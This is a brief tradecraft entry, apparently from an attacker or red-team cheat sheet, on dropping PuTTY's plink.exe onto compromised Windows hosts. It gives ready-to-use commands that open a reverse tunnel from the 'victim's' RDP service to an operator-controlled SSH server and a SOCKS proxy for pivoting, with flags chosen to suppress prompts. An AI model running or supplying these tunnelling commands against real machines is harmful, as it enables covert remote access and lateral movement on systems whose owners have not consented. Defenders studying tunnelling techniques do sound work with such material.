Plink is the command-line SSH client from the PuTTY suite. It supports SSH local, remote and dynamic port forwarding without an interactive session, and is frequently dropped onto Windows hosts, where no other SSH client may be present, to create reverse tunnels to an operator-controlled SSH server.
Creates a reverse tunnel so the operator can reach the victim's RDP service through the SSH server. -batch suppresses prompts, including the host key prompt when combined with -hostkey.
plink.exe -ssh -N -batch -R <REMOTE_PORT>:127.0.0.1:3389 -pw <PASSWORD> <USER>@<SERVER>
Dynamic forwarding. Opens a local SOCKS proxy through the SSH server.
plink.exe -ssh -N -batch -D 127.0.0.1:1080 <USER>@<SERVER>